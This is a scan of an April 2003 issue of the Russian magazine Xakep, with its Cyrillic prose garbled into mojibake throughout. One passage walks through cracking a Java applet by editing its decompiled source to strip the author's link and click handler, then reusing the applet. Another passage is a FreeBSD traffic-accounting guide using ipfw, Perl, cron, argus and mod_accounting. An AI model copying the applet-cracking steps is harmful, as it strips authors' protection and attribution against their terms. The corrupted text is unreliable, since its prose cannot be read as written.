66 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


êîîðäèíàòà ïî ãîðèçîíòàëè<br />

this$0.dragStartY = this$0.mouseY; // íà÷àëüíàÿ<br />

êîîðäèíàòà ïî âåðòèêàëè<br />

this$0.dragTracerX = 0; // îáíóëåíèå òðàåêòîðèè<br />

ïî ãîðèçîíòàëè<br />

this$0.dragTracerY = 0; // îáíóëåíèå òðàåêòîðèè<br />

ïî âåðòèêàëè<br />

this$0.dragStart = true; // âûñòàâëåíèå ôëàæêà<br />

}<br />

}<br />

Äîñòàòî÷íî óäàëèòü óñëîâíûé îïåðàòîð<br />

if(this$0.mouseY > this$0.AppletH - 24 &&<br />

this$0.mouseX < 120) è ïåðâóþ åãî âåòâü:<br />

public void mousePressed(MouseEvent<br />

mouseevent) {<br />

this$0.mouseX = mouseevent.getX();<br />

this$0.mouseY = mouseevent.getY();<br />

this$0.mousePressed = true;<br />

this$0.dragStartX = this$0.mouseX;<br />

this$0.dragStartY = this$0.mouseY;<br />

this$0.dragTracerX = 0;<br />

this$0.dragTracerY = 0;<br />

this$0.dragStart = true;<br />

}<br />

Ýòèì òû óáðàë ðåàêöèþ íà êëèê ìûøêîé ïî îáëàñòè,<br />

ãäå íàïèñàíà ññûëêà íà ñàéò àâòîðà. Òåïåðü<br />

íóæíî óäàëèòü ñàìó ññûëêó, êîòîðàÿ ïðîïèñàíà<br />

â Shifter.java â ìåòîäå paint():<br />

if(Zustand == 2) {<br />

osg2.drawImage(offscreenImage, 0, 0, this); //<br />

ïðîðèñîâêà èçîáðàæåíèÿ â áóôåðå<br />

osg2.setColor(FarbeLinien); // öâåò ðàìêè<br />

osg2.drawRect(0, 0, AppletW - 1, AppletH - 1); //<br />

ïðîðèñîâêà ðàìêè<br />

if(mouseY > AppletH - 24 && mouseX < 120) // åñëè<br />

êóðñîð íàõîäèòñÿ â ïðÿìîóãîëüíîé îáëàñòè<br />

120õ24 ïèêñåëîâ â ëåâîì íèæíåì óãëó<br />

osg2.setColor(Color.black); // òîãäà ññûëêà ïèøåòñÿ<br />

÷åðíûì öâåòîì<br />

else<br />

osg2.setColor(Color.gray); // èíà÷å ññûëêà ïèøåòñÿ<br />

ñåðûì öâåòîì<br />

osg2.drawString("http://www.eigelb.at", 10,<br />

AppletH - 10); // ïðîðèñîâêà ññûëêè<br />

g.drawImage(offscreenImage2, 0, 0, this); // ïðîðèñîâêà<br />

èçîáðàæåíèÿ èç áóôåðà<br />

}<br />

Îñòàâèòü íóæíî ñëåäóþùåå:<br />

if(Zustand == 2) {<br />

osg2.drawImage(offscreenImage, 0, 0, this);<br />

osg2.setColor(FarbeLinien);<br />

osg2.drawRect(0, 0, AppletW - 1, AppletH - 1);<br />

g.drawImage(offscreenImage2, 0, 0, this);<br />

}<br />

Âîò è âñå, çàùèòû êàê íå áûâàëî. Ñïîêîéíî êîìïè-<br />

×ÒÎ ÒÀÊÎÅ JAVA-ÀÏÏËÅÒ?<br />

ëèðóé èñõîäíèê â íîâûé àïïëåò. Åñëè ëåíèâî ïàêîâàòü<br />

â *.jar, òî â HTML-ôàéëå ïåðåïèøè ññûëêó<br />

íà . È<br />

âûëîæè âñå òðè êëàññà â òó æå äèðåêòîðèþ, ÷òî è<br />

HTML-ôàéë. Èãðàéñÿ íà çäîðîâüå :).<br />

ÅÙÅ ÏÐÈÌÅÐÛ<br />

ß ìîã áû ïðèâåñòè åùå äåñÿòêè ïðèìåðîâ, íî, ê<br />

ñîæàëåíèþ, ñòàòüÿ íå ðåçèíîâàÿ. Íàäåþñü, òû ïîíÿë<br />

îñíîâíûå ïðèíöèïû ñíÿòèÿ çàùèòû. À äàëüøå<br />

ïðàêòèêà, ïðàêòèêà è åùå ðàç ïðàêòèêà.<br />

ÐÅÑÓÐÑÛ<br />

Òåïåðü òåáå ñîâåðøåííî ïî áàðàáàíó, êàêèå è<br />

îòêóäà òÿíóòü àïïëåòû. Åñëè äàæå àïïëåò è "çàãàæåí",<br />

áåðåøü åãî çà íîãè êàê Áóðàòèíî, âûòðÿõèâàåøü<br />

èñõîäíèê è òî÷å÷íûì õèðóðãè÷åñêèì<br />

âìåøàòåëüñòâîì óäàëÿåøü íî÷íîé áðåä àâòîðà.<br />

Ñâîáîäó ïîïóãàÿì :). Âîò òåáå íàèáîëåå êðóïíûå<br />

çàëåæè àïïëåòîâ:<br />

http://javaboutique.internet.com<br />

http://freewarejava.com/applets<br />

http://javapowered.com<br />

http://javafile.com<br />

http://javascriptkit.com/java<br />

http://appletcollection.com<br />

P.S.<br />

<br />

Java-àïïëåò - ýòî ïðîãðàììêà, ðàáîòàþùàÿ â ñðåäå áðàóçåðà<br />

(çàïóñêàåòñÿ â îêíå áðàóçåðà). Ïðåäñòàâëÿåò îíà ñîáîé classôàéë<br />

(*.class), êîòîðûé ïîëó÷àåòñÿ ïîñëå êîìïèëÿöèè javaôàéëà<br />

(*.java), íàïèñàííîãî íà îáúåêòíî-îðèåíòèðîâàííîì<br />

ÿçûêå Java. Øèðîêîå ðàñïðîñòðàíåíèå àïïëåòû ïîëó÷èëè áëàãîäàðÿ<br />

ñâîåé îñîáåííîñòè: èñõîäíèê êîìïèëèðóåòñÿ â êîìàíäû<br />

âèðòóàëüíîé ìàøèíû Java (JVM, Java Virtual Machine), è<br />

ïîëó÷àåìûé áàéò-êîä íå çàâèñèò îò òèïà ïðîöåññîðà è àðõèòåêòóðû<br />

êîìïüþòåðà, íà êîòîðîì èñïîëíÿåòñÿ. Îò àðõèòåêòóðû<br />

çàâèñèò òîëüêî âèðòóàëüíàÿ ìàøèíà Java, êîòîðóþ ìîæíî íàäûáàòü<br />

íà ñàéòå ïðîèçâîäèòåëÿ (SUN Microsystems,<br />

http://java.sun.com) ñîâåðøåííî áåñïëàòíî äëÿ ëþáîé èç ñóùåñòâóþùèõ<br />

ñåãîäíÿ êîìïüþòåðíûõ ïëàòôîðì. Â ïîñëåäíèõ âåðñèÿõ<br />

áðàóçåðîâ óæå âñòðîåíà JVM äëÿ âûïîëíåíèÿ àïïëåòîâ,<br />

íî ïî óìîë÷àíèþ ìîæåò áûòü îïöèîíàëüíî îòêëþ÷åíà.<br />

Äðóãàÿ îñîáåííîñòü àïïëåòîâ - âñå ñòàíäàðòíûå ôóíêöèè, âûçûâàåìûå<br />

â ïðîãðàììå, ïîäêëþ÷àþòñÿ òîëüêî íà ýòàïå âûïîëíåíèÿ<br />

è íå âêëþ÷àþòñÿ â áàéò-êîä. Ýòà äèíàìè÷åñêàÿ êîìïîíîâêà,<br />

ñ îäíîé ñòîðîíû, ñèëüíî óìåíüøàåò îáúåì îòêîìïèëèðîâàííîé<br />

ïðîãðàììû, ÷òî áûëî è ïîêà åùå îñòàåòñÿ êðèòè÷íî<br />

äëÿ ñêîðîñòåé ïåðåäà÷è ïî èíåòó. Ýòî íåñîìíåííûé ïëþñ, íî,<br />

ñ äðóãîé ñòîðîíû, èíòåðïðåòàöèÿ áàéò-êîäà è äèíàìè÷åñêàÿ<br />

êîìïîíîâêà çíà÷èòåëüíî çàìåäëÿþò âûïîëíåíèå àïïëåòîâ.<br />

Ñïàñàåò áîëåå ìîùíûé ïðîöåññîð.<br />

 HTML-ôàéë àïïëåò âñòàâëÿåòñÿ â âèäå ññûëêè ñ ïîìîùüþ<br />

òåãîâ è , ìåæäó êîòîðûìè ñòàâÿòñÿ íåîáõîäèìûå<br />

ïàðàìåòðû àïïëåòà. Àïïëåò âûïîëíÿåòñÿ íà ñòîðîíå<br />

êëèåíòà. Êîãäà ïîëüçîâàòåëü îòêðûâàåò òâîþ ïàãó ñ àïïëåòîì,<br />

áðàóçåð çàãðóæàåò ôàéë êëàññà è çàïóñêàåò åãî íà êîìïüþòåðå<br />

ïîëüçîâàòåëÿ. Æàëêî, ÷òî âîçìîæíîñòè àïïëåòà â áðàóçåðå<br />

ñèëüíî îãðàíè÷åíû â öåëÿõ áåçîïàñíîñòè ;).<br />

Ëîìàòü àïïëåòû èíîãäà òðåáóåòñÿ íå òîëüêî äëÿ<br />

óñòðàíåíèÿ çàùèòû. Åñëè äàæå àïïëåò áåñïëàòíûé<br />

è íå ñîäåðæèò ïàêîñòíûõ âñòàâîê, èñõîäíèê<br />

ìîæåò ïîíàäîáèòüñÿ, ÷òîáû óñëîæíèòü çàäóìêè<br />

àâòîðà äëÿ ñâîèõ öåëåé èëè èñïîëüçîâàòü ãîòîâûå<br />

êóñêè êîäà â ñîáñòâåííûõ àïïëåòàõ. À ÷òåíèå<br />

è ðàçáîð ÷óæîãî êîäà - ñàìûé ýôôåêòèâíûé<br />

ñïîñîá áûñòðîìó îáó÷åíèþ ïðîãðàììèðîâàíèþ<br />

íà Java. Ýòèì çàíèìàþòñÿ äàæå<br />

ìàòåðûå ïðîãðàììåðû, ÷òîáû ïîâûøàòü<br />

ñâîè ïðîôíàâûêè. Äåðçàé!<br />

5 6 7 8 9<br />

Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 67


ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

Þíèêñîèä<br />

ÏÎÑËÅÄÍÈÉ ÎÒÑ×ÅÒ<br />

Äìèòðèé Äîêó÷àåâ aka Forb<br />

(forb@real.xakep.ru)<br />

Åñëè òåáÿ âîëíóåò êîëè÷åñòâî ìóñîðà, ïðîõîäÿùåãî<br />

÷åðåç òâîþ ìàøèíó (à, ìîæåò, òû ðàáîòàåøü<br />

àäìèíîì, è òîãäà òåáå ïðîñòî íåîáõîäèìà òàêàÿ<br />

èíôîðìàöèÿ), ýòà ñòàòüÿ äëÿ òåáÿ. Âïðî÷åì, äóìàþ,<br />

îíà áóäåò èíòåðåñíà ìíîãèì, âåäü âñå ìû -<br />

ïîëüçîâàòåëè èíåòà, ÷åñòíî îïëà÷èâàþùèå êàæäûé<br />

áàéò èñõîäÿùåãî òðàôèêà. ß ïîñòàðàëñÿ èçëîæèòü<br />

âñå òîíêîñòè, êîòîðûå ìîãóò òåáå ïðèãîäèòüñÿ<br />

ïðè ïîäñ÷åòå áàéòîâ íà òâîåé ìàøèíå. Â<br />

êà÷åñòâå ïîäîïûòíîé îñè ÿ âûáðàë FreeBSD, êàê<br />

íàèáîëåå çàùèùåííóþ è ïîïóëÿðíóþ ïëàòôîðìó.<br />

Òåì áîëåå, îïèðàÿñü íà ýòó ñòàòüþ, ìîæíî ëåãêî<br />

ïðîâåñòè ïàðàëëåëü ñ Linux, òåì ñàìûì óäîâëåòâîðèâ<br />

ïîòðåáíîñòè ëèíóêñîèäà.<br />

Âîîáùå, ïîäñ÷åò òðàôèêà ñâîäèòñÿ ê ïðîñòîìó ñíèôàíèþ<br />

ñåòåâîãî èíòåðôåéñà. Äëÿ ýòîãî ñóùåñòâóþò ñâîè ïðîãðàììû,<br />

èãðàþùèå ðîëü òàê íàçûâàåìûõ «ìèðíûõ ñíèôåðîâ».<br />

Íî âåñü òðàôèê íà ìàøèíå îáû÷íî ïåðåõâàòûâàåòñÿ<br />

ìîäóëåì ÿäðà, à èìåííî «ÿäåðíûì» ôàåðâîëîì ñèñòåìû.<br />

Äëÿ FreeBSD õàðàêòåðíî íàëè÷èå ìîäóëÿ ipfw.ko, ñ êîòîðûì<br />

òåñíî âçàèìîäåéñòâóåò /sbin/ipfw. Ïîýòîìó äëÿ ñàìîãî<br />

ðàçóìíîãî è ãèáêîãî ìåòîäà ïîäñ÷åòà òðàôèêà, íàì<br />

ïðèäåòñÿ ïðèáåãíóòü ê ïîìîùè ôàåðâîëà. Íà ìîé âçãëÿä,<br />

ýòî äîñòàòî÷íî íåñëîæíî, íî â êîíå÷íîì èòîãå âñå çàâèñèò<br />

îò ïîñòàâëåííîé íàìè çàäà÷è. Äîïóñòèì, íàì íóæíî<br />

ñ÷èòàòü âåñü âõîäÿùèé è èñõîäÿùèé òðàôèê. Ðåøåíèåì â<br />

äàííîì ñëó÷àå áóäåò äîáàâëåíèå â òàáëèöó äâóõ íîâûõ<br />

ïðàâèë, à èìåííî count âõîäÿùèõ è èñõîäÿùèõ ïàêåòîâ.<br />

Ýòî áóäåò âûãëÿäåòü ñëåäóþùèì îáðàçîì:<br />

[root@server root]# ipfw add 1 count ip from any to me<br />

[root@server root]# ipfw add 2 count ip from me to any<br />

Ñèíòàêñèñ ipfw î÷åíü ïðîñòîé, òû íàâåðíÿêà ïîéìåøü<br />

åãî, äàæå åñëè íèêîãäà íå ðàáîòàë ñ ýòèì ôàåðâîëîì.<br />

 ýòèõ äâóõ ïðàâèëàõ áóäåò õðàíèòüñÿ èíôîðìàöèÿ î<br />

íàáåæàâøèõ ïàêåòàõ, à èìåííî âåñü òðàôèê â áàéòàõ.<br />

Ðàçóìååòñÿ, òåáå íå íóæíî êîïèòü ýòè äàííûå â òåëå<br />

ïðàâèë. Ê ïðèìåðó, ïóñòü ýòà èíôîðìàöèÿ çàïèñûâàåòñÿ<br />

êàæäûé äåíü â ñïåöèàëüíûé ôàéë, à çàòåì îáíóëÿåòñÿ.<br />

Îáíóëåíèå âîçìîæíî ñ ïîìîùüþ êîìàíäû<br />

/sbin/ipfw zero, êîòîðàÿ âûñòàâèò â òåëî êàæäîãî countïðàâèëà<br />

íóëåâîå çíà÷åíèå. Ïîïðîáóåì íàïèñàòü Perlñêðèïò<br />

äëÿ âûâîäà òðàôèêà â óäîáî÷èòàåìîé ôîðìå,<br />

Ïîñëåäíèé îòñ÷åò<br />

Ïîäñ÷èòûâàåì òðàôèê ÏÐÀÂÈËÜÍÎ!<br />

òåì ñàìûì îáëåã÷èâ ñåáå æèçíü (âåäü àíàëèçèðîâàòü<br />

äàííûå â áàéòàõ äîâîëüíî ñëîæíî).<br />

#!/usr/bin/perl<br />

## Traffic count script<br />

$param=shift; # Õâàòàåì ïàðàìåòð èç êîìàíäíîé<br />

ñòðîêè<br />

if ($param eq ‘-z’) { exit `ipfw zero` } ## Åñëè îí<br />

-z - ÷èñòèì ïðàâèëà<br />

mwrite(count(1),count(2)); ## Âûïîëíÿåì ïîäñ÷åò<br />

sub count {<br />

my($num)=shift;<br />

(undef,undef,$res)=split(‘ ‘,`/sbin/ipfw show $num`);<br />

## Âûäåëÿåì áàéòû èç ïðàâèë ôàåðâîëà<br />

return $res;<br />

}<br />

sub mwrite {<br />

my(@params)=@_;<br />

foreach $num (@params) {<br />

if (@params[0] eq $num) { $what = ‘IN:’ } else {<br />

$what = ‘OUT:’ } ## Êàêîé òðàôèê ñ÷èòàåì?<br />

Ëîâèì ïàêåòû íà óðîâíå ÿäðà<br />

if (length $num < 4) { $count = 0; $pref=’’ } ##<br />

Åñëè äëèíà ÷èñëà ìåíüøå ÷åòûðåõ - ýòî áàéòû<br />

if (length $num > 3 && length $num < 7) { $count<br />

= 1; $pref=’k’ } ## Åñëè îò 5 äî 6 - êèëîáàéòû<br />

if (length $num > 6 && length $num < 10) { $count<br />

= 2; $pref=’m’ } ## Ìåãàáàéòû<br />

if (length $num >= 10) {$count = 3; $pref=’g’ }<br />

## Ãèãàáàéòû<br />

for(1..$count) { $num = $num / 1024 } ## Âûïîëíèì<br />

äåëåíèå íà 1024 äëÿ âûÿñíåíèÿ òðàôèêà<br />

$num=sprintf(«%.2f»,$num); ## È îêðóãëèì äî<br />

äâóõ ÷èñåë ïîñëå çàïÿòîé<br />

print «$what $num $pref»,»bytes\n»; ## Âûâîäèì<br />

ðåçóëüòàò<br />

}<br />

}<br />

Âîò ýòîò ìàëåíüêèé ñêðèïò áóäåò âûäàâàòü òåáå çíà÷åíèÿ<br />

òåêóùåãî òðàôèêà. Íî ïîìíèøü, ÿ óïîìÿíóë îá îáíóëåíèè<br />

ïðàâèë ïî èñòå÷åíèè ñóòîê? È íå íàäåéñÿ, ÷òî<br />

ÿ áóäó òåáå ðàñïèñûâàòü åæåäíåâíûé äàìï ñòàòèñòèêè<br />

â ôàéëàõ - ýòî òû ñäåëàåøü ñàì, áëàãî îïûòà ó òåáÿ<br />

óæå ìíîãî. À âîò îòïðàâêó íà ìûëî, îïòèìàëüíûé è ñàìûé<br />

ëåãêèé âàðèàíò, ÿ ïðåäóñìîòðåë. Äëÿ ýòîãî òåáå<br />

ïîòðåáóåòñÿ íàêàòàòü åùå îäèí ñêðèïò sendstat.sh, íà<br />

ýòîò ðàç íà ÿçûêå sh.<br />

1 2 3 4<br />

68 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


#!/bin/sh<br />

/root/trafstat/stat.pl | mail -s ‘Traffic statistic’<br />

root@localhost<br />

/root/trafstat/stat.pl -z<br />

Êàê òû óæå ïîíÿë, çàäà÷à ýòîãî ñêðèïòà - âûïîëíèòü ïîäñ-<br />

÷åò ñòàòèñòèêè çà äàííûé ïåðèîä è íàìûëèòü åãî ðóòó. Çàòåì<br />

åùå ðàç çàïóñòèòü ýòîò æå ñêðèïò, íî ñ ïàðàìåòðîì -<br />

z, ÷òîáû ñáðîñèòü ñ÷åò÷èêè íà ïðàâèëàõ. Çàäóìàåìñÿ íàä<br />

âîïðîñîì, êàê è êîãäà çàïóñêàòü ýòîò sh’øíûé ñêðèïò. Âñå<br />

ïðîñòî! Íà ïîìîùü ïðèäåò cron, â êîòîðîì íóæíî çàäàòü<br />

ïðàâèëî, êîòîðîå áóäåò âûïîëíÿòüñÿ â 23:59 êàæäûé<br />

äåíü. ß íàäåþñü, òû ðàáîòàë ñ êðîíîì. Åñëè íåò, òî ñëóøàé<br />

ñþäà :). Âûïîëíè êîìàíäó crontab -e ïîä ðóòîì (èíà-<br />

÷å ñêðèïò ïðîñòî íå ñìîæåò îáðàòèòüñÿ ê ôàåðâîëó). Òàêèì<br />

îáðàçîì òû âîéäåøü â ñðåäó vi ðåäàêòîðà. Òàì íàæèìàåøü<br />

«i», òåì ñàìûì âîéäÿ â ðåæèì âñòàâêè (INSERT), è<br />

âïèñûâàåøü ñëåäóþùóþ ñòðîêó:<br />

59 23 * * * /root/trafstat/sendstat.sh >/dev/null 2>&1<br />

Çàòåì êîððåêòíî âûõîäèì êîìáèíàöèåé êëàâèø: ESC,<br />

:wq, Enter. Âíèìàíèå, íà sendstat.sh íå çàáóäü óñòàíîâèòü<br />

àòðèáóò 755, èíà÷å âñå òâîè óñèëèÿ ïðîïàäóò äàðîì.<br />

>/dev/null 2>&1 - íå êàêèå-òî ìàðñèàíñêèå çíàêè,<br />

êîòîðûå èíîãäà îòáðàñûâàþò, ìîòèâèðóÿ òåì, ÷òî<br />

íå çíàþò, ÷òî îíè îçíà÷àþò :). Ýòî íåîáõîäèìî, ÷òîáû<br />

STDOUT è STDERR ïðè âûïîëíåíèè ñêðèïòà íå óõîäèëè<br />

íà ìûëî ðóòó. Çà÷åì òåáå ëèøíèé ëîêàëüíûé ñïàì?<br />

Åãî õâàòàåò èç ãëîáàëà...<br />

Ñ÷èòàåì âíåøíèìè ïðîãðàììàìè<br />

Åñëè âäðóã òàê ñëó÷èëîñü, ÷òî ïî êàêèì-òî ïðè÷èíàì çàþçàòü<br />

ipfw òû íå ìîæåøü (êàê áûëî ó ìåíÿ íà FreeBSD<br />

4.3, êîãäà èç-çà ipfw ìàøèíà çàãàäî÷íî ïîäâèñàëà ê ïîëóíî÷è),<br />

ìîæåøü äîâåðèòü ïîäñ÷åò òðàôèêà âíåøíèì<br />

ñîôòèíàì. Êàê ÿ óæå ñêàçàë, áàíàëüíîå ñíèôàíèå ñåòåâîãî<br />

èíòåðôåéñà ïîìîãàåò äîñòè÷ü íóæíîãî ðåçóëüòàòà<br />

â ïîäñ÷åòå òðàôèêà. Åñëè æå òû âèðòóîç, ìîæåøü çàþçàòü<br />

äàæå tcpdump è ïàðñèòü èç íåãî ñóììàðíóþ ñòàòèñòèêó<br />

:), íî åñòü ñîôòèíû, êîòîðûå ïðîäåëàþò ýòó<br />

ãðÿçíóþ ðàáîòó çà òåáÿ. ß äîëãî îïðåäåëÿëñÿ, êàêîé<br />

ñîôò âûáðàòü, è ðåøèë îñòàíîâèòüñÿ íà argus. Èñïûòûâàåìàÿ<br />

âåðñèÿ - 2.0.5. Íåäîëãî äóìàÿ, ñëèâàåì ýòî òâîðåíèå<br />

ïî ññûëêå http://qosient.com/argus/src/argus-<br />

2.0.5.tar.gz. Ðàñïàêîâûâàåì, êîíôèãóðèì, ñîáèðàåì.<br />

Âñå êàê îáû÷íî, íè÷åãî íîâîãî. Çàòåì íàñòóïàåò èíòåðåñíàÿ<br />

ïðîöåäóðà ðåäàêòèðîâàíèÿ argus.conf. Âîò òàê<br />

âûãëÿäèò ìîé êîíôèãóðàöèîííûé ôàéë:<br />

ARGUS_DAEMON=yes<br />

ARGUS_BIND_IP=»»<br />

ARGUS_INTERFACE=»fxp1»<br />

ARGUS_OUTPUT_FILE=/usr/local/argus/argus.out<br />

ARGUS_SET_PID=yes<br />

ARGUS_GO_PROMISCUOUS=yes<br />

ARGUS_FLOW_STATUS_INTERVAL=30<br />

ARGUS_MAR_STATUS_INTERVAL=60<br />

ARGUS_DEBUG_LEVEL=0<br />

Ñòàòèñòèêà argus äëÿ âñåõ ïðîòîêîëîâ<br />

ARGUS_GENERATE_RESPONSE_TIME_DATA=no<br />

ARGUS_GENERATE_JITTER_DATA=no<br />

ARGUS_GENERATE_MAC_DATA=no<br />

ARGUS_CAPTURE_DATA_LEN=0<br />

ARGUS_FILTER_OPTIMIZER=yes<br />

ARGUS_FILTER=»»<br />

Íåáîëüøèå êîììåíòàðèè ê íàñòðîéêå äëÿ ïîíèìàíèÿ<br />

òîãî, êàê âñå ðàáîòàåò:<br />

ARGUS_DAEMON: ýêâèâàëåíòíî ïàðàìåòðó -d ê áèíàðíèêó<br />

argus, çàïóñêàåò åãî â êà÷åñòâå äåìîíà, ðåêîìåíäóþ<br />

ïîñòàâèòü;<br />

ARGUS_BIND_IP: ìîæíî ïðè æåëàíèè ïðèáèíäèòü<br />

àðãóñ ê îïðåäåëåííîìó ip-àäðåñó, äåëàÿ ïðèëîæåíèå<br />

ãèáêèì è óäîáíûì äëÿ ïîëüçîâàòåëÿ.  ìîåì ñëó÷àå -<br />

íåò ÿâíîãî ïðèêðåïëåíèÿ;<br />

ARGUS_INTERFACE: ïàðàìåòð ïðîñëóøèâàåìîãî èíòåðôåéñà,<br />

òàê êàê ó ìåíÿ FreeBSD, ÿ óñòàíîâèë åãî íà<br />

ãëîáàëüíûé fxp1;<br />

ARGUS_OUTPUT_FILE: ïóòü ê ôàéëó, â êîòîðîì áóäóò<br />

ñâåäåíèÿ î òðàôèêå, çàñíèôàííîì àðãóñîì (âïîñëåäñòâèè<br />

òóëçû àðãóñà áóäóò îáðàùàòüñÿ ê ýòîìó ôàéëó);<br />

ARGUS_SET_PID: ñîçäàâàòü pid ôàéë äëÿ êîíòðîëÿ<br />

íàä àðãóñîì;<br />

ARGUS_GO_PROMISCUOUS: îïöèÿ äëÿ òàê íàçûâàåìîãî<br />

ñìåøàííîãî ðåæèìà èíòåðôåéñà. Óñòàíàâëèâàåòñÿ<br />

äëÿ êîððåêòíîãî ñáîðà òðàôèêà.<br />

ß ïðèâåë íàèáîëåå âàæíûå îïöèè ñ èõ îïèñàíèÿìè.<br />

Äëÿ áîëåå ïîëíîãî îïèñàíèÿ ýòèõ è äðóãèõ ïàðàìåòðîâ<br />

- man argus.conf. Ïîñëå ñîñòàâëåíèÿ êîíôû ìîæíî<br />

ñòàðòîâàòü argus. Ïî óìîë÷àíèþ îí áóäåò íàõîäèòüñÿ â<br />

/usr/local/sbin/argus. Ïîñëå çàïóñêà íå æäè íè÷åãî íîâîãî,<br />

òåáÿ áóäåò æäàòü òîëüêî ñîîáùåíèå î (íå)óñïåøíîì<br />

çàïóñêå äåìîíà. Îò òåáÿ òðåáóåòñÿ ëèøü îáåñïå-<br />

÷èòü àâòîçàãðóçêó äåìîíà ïîñëå ðåáóòà ñèñòåìû. Äàëåå<br />

òåáå íóæíî îñâîèòü ôóíêöèè âàæíûõ áèíàðíèêîâ îò<br />

argus. Ýòî, â ïåðâóþ î÷åðåäü, racount, êîòîðûé âûâîäèò<br />

ïîäðîáíóþ ñòàòèñòèêó â áàéòàõ äëÿ âñåõ ïðîòîêîëîâ.<br />

Âûãëÿäèò ýòî ïðèìåðíî ñëåäóþùèì îáðàçîì:<br />

[root@stat argus]# racount -r<br />

/usr/local/argus/argus.out<br />

racount records total_pkts src_pkts<br />

dst_pkts 7296 208963 101067<br />

total_bytes src_bytes dst_bytes sum<br />

107896 101305772 12228304 89077468<br />

Íåò, ÿ íå îãîâîðèëñÿ ïðî ïðîòîêîëû :). Èñïîëüçóé êëþ-<br />

÷èê -a, ÷òîáû âûâåñòè ñòàòèñòèêó ïî êàæäîìó ïðîòîêîëó,<br />

à èìåííî tcp, udp, icmp, arp, non-ip è sum. Êàê ïåðåâîäèòü<br />

èç áàéòîâ â ìåãà/ãèãàáàéòû, ÿ íàäåþñü, òû<br />

çíàåøü.  êà÷åñòâå ó÷åáíèêà ìîæåøü èñïîëüçîâàòü<br />

ñêðèïò, êîòîðûé ÿ îïèñûâàë ÷óòü âûøå.<br />

Óòèëèòû ramon, ra è rasort âûâîäÿò ïîäðîáíûé îò÷åò ïî<br />

êàæäîìó çàïðîñó ê ñåðâåðó. Ýòî ìîæåò ïîñëóæèòü ëåãêèì<br />

èíñòðóìåíòîì äëÿ ñîñòàâëåíèÿ ëîã-ôàéëîâ íà<br />

ðàçíûé âêóñ è öâåò. Êîíêðåòíî ïî òóëçàì:<br />

5 6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

Þíèêñîèä<br />

ÏÎÑËÅÄÍÈÉ ÎÒÑ×ÅÒ<br />

Äìèòðèé Äîêó÷àåâ aka Forb<br />

ramon - âûâîäèò âñå îáðàùåíèÿ ê èíòåðôåéñó, ñèíòàêñèñ<br />

ramon -M ðåæèì -r ôàéë, ãäå ðåæèì ìîæåò áûòü<br />

TopN èëè Matrix, à ôàéë - data-ôàéë àðãóñà. Ýòà ïðîãðàììà<br />

ïîõîæà íà ðàáîòó top (òî åñòü îòñëåæèâàíèå ïàêåòîâ<br />

â real-time);<br />

ra - ðàáîòàåò êàê ramon, òîëüêî â êîíöå âûâîäèò ñòàòèñòèêó<br />

ïàêåòîâ (êàê racount). Èñïîëüçóé êëþ÷èê -n, ÷òîáû<br />

íå ðåçîëâèòü ip-àäðåñà (ðàáîòàåò íàìíîãî áûñòðåå);<br />

rasort - ïîçâîëÿåò ñîðòèðîâàòü çàïðîñû ïî îïðåäåëåííîìó<br />

ïîëþ (òèï ïàêåòà, dst, src, ïðîòîêîë). Èíîãäà<br />

áûâàåò ïîëåçíîé.<br />

Âîò îñíîâíûå óòèëèòû, êîòîðûå ìîãóò òåáå ïîíàäîáèòüñÿ.<br />

×òî äàëüøå? Äàëüøå íà âûáîð: ëèáî òû îáðàùàåøüñÿ<br />

ê racount çà äàííûìè äëÿ ñòàòèñòèêè, ëèáî<br />

äàìïèøü ýòè äàííûå åæåäíåâíî, íàïðèìåð, â sql-áàçó.<br />

Êàê ýòî ñäåëàòü, ÿ äóìàþ, òû ñîîáðàçèøü áåç ìîåé ïîìîùè<br />

è ãèáêî âñå íàñòðîèøü. ß ëèøü ïîìîãàþ òåáå â<br />

âåðíîì âûáîðå ñîôòà.<br />

Ñ÷èòàåì òðàôèê ïî WEB’y<br />

Ìîæåò âîçíèêíóòü ñèòóàöèÿ, êîãäà òû äåðæèøü êðóïíûé<br />

õîñòèíã, è íåîáõîäèìî ñ÷èòàòü òðàôèê ïî êàæäîìó<br />

âèðòóàëüíîìó õîñòó îòäåëüíî. Ñ÷èòàòü òðàôèê ïî 80<br />

ïîðòó - íå âûõîä èç ñèòóàöèè, òàê êàê âåñü web-òðàôèê<br />

áóäåò íåâîçìîæíî îòñîðòèðîâàòü ïî îòäåëüíûì õîñòàì.<br />

Âîçìîæíû äâà ðåøåíèÿ ýòîé íåñëîæíîé çàäà÷è:<br />

1) Óñòàíîâèòü ìîäóëü äëÿ httpd, êîòîðûé áóäåò áðàòü<br />

äàííûå «íà ëåòó».<br />

2) Ïàðñèòü access_log è îñóùåñòâëÿòü ïîäñ÷åò òðàôèêà.<br />

Ðàññìîòðèì îáà âàðèàíòà, ÷òîáû ïîêàçàòü, ÷òî çàäà÷à<br />

ðåøàåòñÿ äîâîëüíî ïðîñòî. Êîíå÷íî, ëó÷øå èñïîëüçîâàòü<br />

ïåðåõâàò ïàêåòîâ ñàìèì httpd, à òî÷íåå åãî ìîäóëåì,<br />

à åùå òî÷íåå mod_accounting =). Ñêà÷àòü åãî ìîæíî<br />

îòñþäà: http://easynews.dl.sourceforge.net/sourceforge/mod-acct/mod_accounting-0.5.tar.gz.Ðàñïàêîâûâàåì<br />

è ïåðâûì äåëîì ïðàâèì Makefile. Òåáå íóæíî<br />

âûáðàòü, êàêóþ ÁÄ èñïîëüçîâàòü äëÿ õðàíåíèÿ òðàôèêà:<br />

mysql èëè postgres. ß èñïûòûâàë íà mysql-áàçå, íî,<br />

äóìàþ, ïðèíöèïèàëüíîé ðàçíèöû íåò. Åñëè ó òåáÿ òîæå<br />

mysqld, óäàëè ôëàã -DNEED_POSTGRES, óñòàíîâè -<br />

DNEED_MYSQL è óêàæè ïóòè ê áèíàðíèêàì apachectl è<br />

axps. Çàòåì óáåäèñü, ÷òî òâîé httpd áûë ñêîìïèëåí ñ<br />

îïöèåé —enable-module=so, ïîçâîëÿþùåé äîáàâëÿòü<br />

ñâîè ìîäóëè ê httpd, ÷òî ìû, ñîáñòâåííî, è áóäåì äåëàòü<br />

ñëåäóþùèì øàãîì. Ñîáåðè ìîäóëü, à çàòåì îáðàòè<br />

